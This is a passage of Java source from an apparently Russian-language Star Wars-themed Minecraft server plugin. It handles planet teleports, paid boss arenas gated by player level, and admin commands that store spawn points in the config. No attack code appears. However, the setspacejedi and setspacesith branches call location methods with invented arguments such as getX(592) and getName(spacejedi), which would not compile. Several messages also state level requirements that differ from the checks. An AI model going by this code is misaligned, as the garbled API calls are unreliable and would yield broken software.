  302. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("mustafar.jedi.world")), Main.instance.getConfig().getDouble("mustafar.jedi.x"), Main.instance.getConfig().getDouble("mustafar.jedi.y"), Main.instance.getConfig().getDouble("mustafar.jedi.z"));
  303. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("mustafar.sith.world")), Main.instance.getConfig().getDouble("mustafar.sith.x"), Main.instance.getConfig().getDouble("mustafar.sith.y"), Main.instance.getConfig().getDouble("mustafar.sith.z"));
  304. if (!Main.instance.getConfig().contains("mustafar.jedi") || !Main.instance.getConfig().contains("mustafar.sith")) {
  305. p.sendMessage(ChatColor.RED + "\u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  306. return true;
  307. }
  308. if (getSide(p).equalsIgnoreCase("Jedi")) {
  309. p.teleport(jediLoc);
  310. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440"));
  311. }
  312. if (getSide(p).equalsIgnoreCase("Sith")) {
  313. p.teleport(sithLoc);
  314. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440"));
  315. }
  316. }
  317. else {
  318. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &618 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  319. }
  320. }
  321. if (a[0].equalsIgnoreCase("hoth")) {
  322. if (getLevel(p) >= 23) {
  323. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("hoth.jedi.world")), Main.instance.getConfig().getDouble("hoth.jedi.x"), Main.instance.getConfig().getDouble("hoth.jedi.y"), Main.instance.getConfig().getDouble("hoth.jedi.z"));
  324. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("hoth.sith.world")), Main.instance.getConfig().getDouble("hoth.sith.x"), Main.instance.getConfig().getDouble("hoth.sith.y"), Main.instance.getConfig().getDouble("hoth.sith.z"));
  325. if (!Main.instance.getConfig().contains("hoth.jedi") || !Main.instance.getConfig().contains("hoth.sith")) {
  326. p.sendMessage(ChatColor.RED + "\u0425\u043e\u0442\u0445 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  327. return true;
  328. }
  329. if (getSide(p).equalsIgnoreCase("Jedi")) {
  330. p.teleport(jediLoc);
  331. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u0425\u043e\u0442\u0445"));
  332. }
  333. if (getSide(p).equalsIgnoreCase("Sith")) {
  334. p.teleport(sithLoc);
  335. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u0425\u043e\u0442\u0445"));
  336. }
  337. }
  338. else {
  339. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &618 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  340. }
  341. }
  342. }
  343. }
  344. if (c.getName().equalsIgnoreCase("boss")) {
  345. if (a.length == 0) {
  346. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0411\u041e\u0421\u0421\u042b"));
  347. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  348. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 10 &8- &7\u0411\u043e\u0441\u0441 10-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
  349. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 15 &8- &7\u0411\u043e\u0441\u0441 15-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
  350. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 20 &8- &7\u0411\u043e\u0441\u0441 20-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
  351. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 25 &8- &7\u0411\u043e\u0441\u0441 25-\u0433\u043e \u0443\u0432\u0440\u043e\u043d\u044f"));
  352. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 28 &8- &7\u0411\u043e\u0441\u0441 28-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
  353. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  354. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a &8- &b/blist"));
  355. return true;
  356. }
  357. if (a.length == 1) {
  358. if (!Levels.sides.containsKey(p.getName())) {
  359. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u044b\u0439 \u0431\u043e\u0441\u0441 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d!"));
  360. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u0421\u043f\u0438\u0441\u043e\u043a \u0431\u043e\u0441\u0441\u043e\u0432 &8- &b/blist"));
  361. return true;
  362. }
  363. if (a[0].equalsIgnoreCase("10")) {
  364. if (getLevel(p) >= 10) {
  365. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("10l.jedi.world")), Main.instance.getConfig().getDouble("10l.jedi.x"), Main.instance.getConfig().getDouble("10l.jedi.y"), Main.instance.getConfig().getDouble("10l.jedi.z"));
  366. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("10l.sith.world")), Main.instance.getConfig().getDouble("10l.sith.x"), Main.instance.getConfig().getDouble("10l.sith.y"), Main.instance.getConfig().getDouble("10l.sith.z"));
  367. if (!Main.instance.getConfig().contains("10l.jedi") || !Main.instance.getConfig().contains("10l.sith")) {
  368. p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  369. return true;
  370. }
  371. if (Main.econ.getBalance((OfflinePlayer)p) < 10000.0) {
  372. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 10.000$"));
  373. return true;
  374. }
  375. if (getSide(p).equalsIgnoreCase("Jedi")) {
  376. Main.econ.withdrawPlayer((OfflinePlayer)p, 10000.0);
  377. p.teleport(jediLoc);
  378. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441: &7\u0414\u0430\u0440\u0442-\u0421\u0438\u0434\u0438\u0443\u0441"));
  379. }
  380. if (getSide(p).equalsIgnoreCase("Sith")) {
  381. Main.econ.withdrawPlayer((OfflinePlayer)p, 10000.0);
  382. p.teleport(sithLoc);
  383. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441: &7\u0414\u0430\u0440\u0442-\u0421\u0438\u0434\u0438\u0443\u0441"));
  384. }
  385. }
  386. else {
  387. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &610 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
  388. }
  389. }
  390. if (a[0].equalsIgnoreCase("15")) {
  391. if (getLevel(p) >= 15) {
  392. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("15l.jedi.world")), Main.instance.getConfig().getDouble("15l.jedi.x"), Main.instance.getConfig().getDouble("15l.jedi.y"), Main.instance.getConfig().getDouble("15l.jedi.z"));
  393. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("15l.sith.world")), Main.instance.getConfig().getDouble("15l.sith.x"), Main.instance.getConfig().getDouble("15l.sith.y"), Main.instance.getConfig().getDouble("15l.sith.z"));
  394. if (!Main.instance.getConfig().contains("15l.jedi") || !Main.instance.getConfig().contains("15l.sith")) {
  395. p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  396. return true;
  397. }
  398. if (Main.econ.getBalance((OfflinePlayer)p) < 20000.0) {
  399. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 20.000$"));
  400. return true;
  401. }
  402. if (getSide(p).equalsIgnoreCase("Jedi")) {
  403. Main.econ.withdrawPlayer((OfflinePlayer)p, 20000.0);
  404. p.teleport(jediLoc);
  405. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u0419\u043e\u0434\u0430"));
  406. }
  407. if (getSide(p).equalsIgnoreCase("Sith")) {
  408. Main.econ.withdrawPlayer((OfflinePlayer)p, 20000.0);
  409. p.teleport(sithLoc);
  410. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u0419\u043e\u0434\u0430"));
  411. }
  412. }
  413. else {
  414. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &615 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
  415. }
  416. }
  417. if (a[0].equalsIgnoreCase("20")) {
  418. if (getLevel(p) >= 20) {
  419. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("20l.jedi.world")), Main.instance.getConfig().getDouble("20l.jedi.x"), Main.instance.getConfig().getDouble("20l.jedi.y"), Main.instance.getConfig().getDouble("20l.jedi.z"));
  420. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("20l.sith.world")), Main.instance.getConfig().getDouble("20l.sith.x"), Main.instance.getConfig().getDouble("20l.sith.y"), Main.instance.getConfig().getDouble("20l.sith.z"));
  421. if (!Main.instance.getConfig().contains("20l.jedi") || !Main.instance.getConfig().contains("20l.sith")) {
  422. p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  423. return true;
  424. }
  425. if (Main.econ.getBalance((OfflinePlayer)p) < 30000.0) {
  426. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 30.000$"));
  427. return true;
  428. }
  429. if (getSide(p).equalsIgnoreCase("Jedi")) {
  430. Main.econ.withdrawPlayer((OfflinePlayer)p, 30000.0);
  431. p.teleport(jediLoc);
  432. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 C3PO"));
  433. }
  434. if (getSide(p).equalsIgnoreCase("Sith")) {
  435. Main.econ.withdrawPlayer((OfflinePlayer)p, 30000.0);
  436. p.teleport(sithLoc);
  437. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 C3PO"));
  438. }
  439. }
  440. else {
  441. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &620 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
  442. }
  443. }
  444. if (a[0].equalsIgnoreCase("25")) {
  445. if (getLevel(p) >= 25) {
  446. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("25l.jedi.world")), Main.instance.getConfig().getDouble("25l.jedi.x"), Main.instance.getConfig().getDouble("25l.jedi.y"), Main.instance.getConfig().getDouble("25l.jedi.z"));
  447. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("25l.sith.world")), Main.instance.getConfig().getDouble("25l.sith.x"), Main.instance.getConfig().getDouble("25l.sith.y"), Main.instance.getConfig().getDouble("25l.sith.z"));
  448. if (!Main.instance.getConfig().contains("25l.jedi") || !Main.instance.getConfig().contains("25l.sith")) {
  449. p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  450. return true;
  451. }
  452. if (Main.econ.getBalance((OfflinePlayer)p) < 40000.0) {
  453. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 40.000$"));
  454. return true;
  455. }
  456. if (getSide(p).equalsIgnoreCase("Jedi")) {
  457. Main.econ.withdrawPlayer((OfflinePlayer)p, 40000.0);
  458. p.teleport(jediLoc);
  459. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u041a\u0430\u043f\u0438\u0442\u0430\u043d \u0420\u0435\u043a\u0441"));
  460. }
  461. if (getSide(p).equalsIgnoreCase("Sith")) {
  462. Main.econ.withdrawPlayer((OfflinePlayer)p, 40000.0);
  463. p.teleport(sithLoc);
  464. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u041a\u0430\u043f\u0438\u0442\u0430\u043d \u0420\u0435\u043a\u0441"));
  465. }
  466. }
  467. else {
  468. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &625 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
  469. }
  470. }
  471. if (a[0].equalsIgnoreCase("28")) {
  472. if (getLevel(p) >= 28) {
  473. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("28l.jedi.world")), Main.instance.getConfig().getDouble("28l.jedi.x"), Main.instance.getConfig().getDouble("28l.jedi.y"), Main.instance.getConfig().getDouble("28l.jedi.z"));
  474. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("28l.sith.world")), Main.instance.getConfig().getDouble("28l.sith.x"), Main.instance.getConfig().getDouble("28l.sith.y"), Main.instance.getConfig().getDouble("28l.sith.z"));
  475. if (!Main.instance.getConfig().contains("28l.jedi") || !Main.instance.getConfig().contains("28l.sith")) {
  476. p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  477. return true;
  478. }
  479. if (Main.econ.getBalance((OfflinePlayer)p) < 50000.0) {
  480. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 50.000$"));
  481. return true;
  482. }
  483. if (getSide(p).equalsIgnoreCase("Jedi")) {
  484. Main.econ.withdrawPlayer((OfflinePlayer)p, 50000.0);
  485. p.teleport(jediLoc);
  486. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&4\u0411\u043e\u0441\u0441:&7 \u0428\u0442\u0443\u0440\u043c"));
  487. }
  488. if (getSide(p).equalsIgnoreCase("Sith")) {
  489. Main.econ.withdrawPlayer((OfflinePlayer)p, 50000.0);
  490. p.teleport(sithLoc);
  491. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&4\u0411\u043e\u0441\u0441:&7 \u0428\u0442\u0443\u0440\u043c"));
  492. }
  493. }
  494. else {
  495. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &630 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
  496. }
  497. }
  498. }
  499. }
  500. if (c.getName().equalsIgnoreCase("admset")) {
  501. if (!p.hasPermission("jc.owner")) {
  502. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
  503. return true;
  504. }
  505. if (a.length == 0) {
  506. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u044b \u0438\u043c\u0435\u043b\u0438 \u0432\u0432\u0438\u0434\u0443 \u0442\u0430\u043a? &b/admset <\u0422\u043e\u0447\u043a\u0430, \u0411\u043e\u0441\u0441, \u041f\u0440\u0435\u0434\u043c\u0435\u0442, \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u041f\u043b\u0430\u043d\u0435\u0442\u0430, \u0411\u043e\u0440\u0434>"));
  507. return true;
  508. }
  509. if (a.length == 1) {
  510. if (a[0].equalsIgnoreCase("setspacejedi")) {
  511. Main.instance.getConfig().set("space.jedi.world", (Object)p.getLocation(space).getWorld(space).getName(spacejedi));
  512. Main.instance.getConfig().set("space.jedi.x", (Object)p.getLocation(space).getX(592));
  513. Main.instance.getConfig().set("space.jedi.y", (Object)(p.getLocation(space).getY(31) + 1.0));
  514. Main.instance.getConfig().set("space.jedi.z", (Object)p.getLocation(space).getZ(-1088));
  515. Main.instance.saveConfig();
  516. Main.instance.reloadConfig();
  517. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  518. }
  519. if (a[0].equalsIgnoreCase("setspacesith")) {
  520. Main.instance.getConfig().set("space.sith.world", (Object)p.getLocation(space).getWorld(space).getName(sithspase));
  521. Main.instance.getConfig().set("space.sith.x", (Object)p.getLocation(space).getX(581));
  522. Main.instance.getConfig().set("space.sith.y", (Object)(p.getLocation(space).getY(45) + 1.0));
  523. Main.instance.getConfig().set("space.sith.z", (Object)p.getLocation(space).getZ(-575));
  524. Main.instance.saveConfig();
  525. Main.instance.reloadConfig();
  526. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  527. }
  528. if (a[0].equalsIgnoreCase("setenodrjedi")) {
  529. Main.instance.getConfig().set("endor.jedi.world", (Object)p.getLocation(endor).getWorld(endor).getName(endorjedi));
  530. Main.instance.getConfig().set("endor.jedi.x", (Object)p.getLocation().getX());
  531. Main.instance.getConfig().set("endor.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  532. Main.instance.getConfig().set("endor.jedi.z", (Object)p.getLocation().getZ());
  533. Main.instance.saveConfig();
  534. Main.instance.reloadConfig();
  535. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  536. }
  537. if (a[0].equalsIgnoreCase("setendorsith")) {
  538. Main.instance.getConfig().set("endor.sith.world", (Object)p.getLocation().getWorld().getName());
  539. Main.instance.getConfig().set("endor.sith.x", (Object)p.getLocation().getX());
  540. Main.instance.getConfig().set("endor.sith.y", (Object)(p.getLocation().getY() + 1.0));
  541. Main.instance.getConfig().set("endor.sith.z", (Object)p.getLocation().getZ());
  542. Main.instance.saveConfig();
  543. Main.instance.reloadConfig();
  544. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  545. }
  546. if (a[0].equalsIgnoreCase("setnaboojedi")) {
  547. Main.instance.getConfig().set("naboo.jedi.world", (Object)p.getLocation().getWorld().getName());
  548. Main.instance.getConfig().set("naboo.jedi.x", (Object)p.getLocation().getX());
  549. Main.instance.getConfig().set("naboo.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  550. Main.instance.getConfig().set("naboo.jedi.z", (Object)p.getLocation().getZ());
  551. Main.instance.saveConfig();
  552. Main.instance.reloadConfig();
  553. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  554. }
  555. if (a[0].equalsIgnoreCase("setnaboosith")) {
  556. Main.instance.getConfig().set("naboo.sith.world", (Object)p.getLocation().getWorld().getName());
  557. Main.instance.getConfig().set("naboo.sith.x", (Object)p.getLocation().getX());
  558. Main.instance.getConfig().set("naboo.sith.y", (Object)(p.getLocation().getY() + 1.0));
  559. Main.instance.getConfig().set("naboo.sith.z", (Object)p.getLocation().getZ());
  560. Main.instance.saveConfig();
  561. Main.instance.reloadConfig();
  562. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  563. }
  564. if (a[0].equalsIgnoreCase("setkaminojedi")) {
  565. Main.instance.getConfig().set("kamino.jedi.world", (Object)p.getLocation().getWorld().getName());
  566. Main.instance.getConfig().set("kamino.jedi.x", (Object)p.getLocation().getX());
  567. Main.instance.getConfig().set("kamino.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  568. Main.instance.getConfig().set("kamino.jedi.z", (Object)p.getLocation().getZ());
  569. Main.instance.saveConfig();
  570. Main.instance.reloadConfig();
  571. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  572. }
  573. if (a[0].equalsIgnoreCase("setkaminosith")) {
  574. Main.instance.getConfig().set("kamino.sith.world", (Object)p.getLocation().getWorld().getName());
  575. Main.instance.getConfig().set("kamino.sith.x", (Object)p.getLocation().getX());
  576. Main.instance.getConfig().set("kamino.sith.y", (Object)(p.getLocation().getY() + 1.0));
  577. Main.instance.getConfig().set("kamino.sith.z", (Object)p.getLocation().getZ());
  578. Main.instance.saveConfig();
  579. Main.instance.reloadConfig();
  580. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  581. }
  582. if (a[0].equalsIgnoreCase("setmustafarjedi")) {
  583. Main.instance.getConfig().set("mustafar.jedi.world", (Object)p.getLocation().getWorld().getName());
  584. Main.instance.getConfig().set("mustafar.jedi.x", (Object)p.getLocation().getX());
  585. Main.instance.getConfig().set("mustafar.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  586. Main.instance.getConfig().set("mustafar.jedi.z", (Object)p.getLocation().getZ());
  587. Main.instance.saveConfig();
  588. Main.instance.reloadConfig();
  589. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  590. }
  591. if (a[0].equalsIgnoreCase("setmustafarsith")) {
  592. Main.instance.getConfig().set("mustafar.sith.world", (Object)p.getLocation().getWorld().getName());
  593. Main.instance.getConfig().set("mustafar.sith.x", (Object)p.getLocation().getX());
  594. Main.instance.getConfig().set("mustafar.sith.y", (Object)(p.getLocation().getY() + 1.0));
  595. Main.instance.getConfig().set("mustafar.sith.z", (Object)p.getLocation().getZ());
  596. Main.instance.saveConfig();
  597. Main.instance.reloadConfig();
  598. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  599. }
  600. if (a[0].equalsIgnoreCase("sethothjedi")) {
  601. Main.instance.getConfig().set("hoth.jedi.world", (Object)p.getLocation().getWorld().getName());
  602. Main.instance.getConfig().set("hoth.jedi.x", (Object)p.getLocation().getX());
  603. Main.instance.getConfig().set("hoth.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  604. Main.instance.getConfig().set("hoth.jedi.z", (Object)p.getLocation().getZ());
  605. Main.instance.saveConfig();
  606. Main.instance.reloadConfig();
  607. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  608. }
  609. if (a[0].equalsIgnoreCase("sethothsith")) {
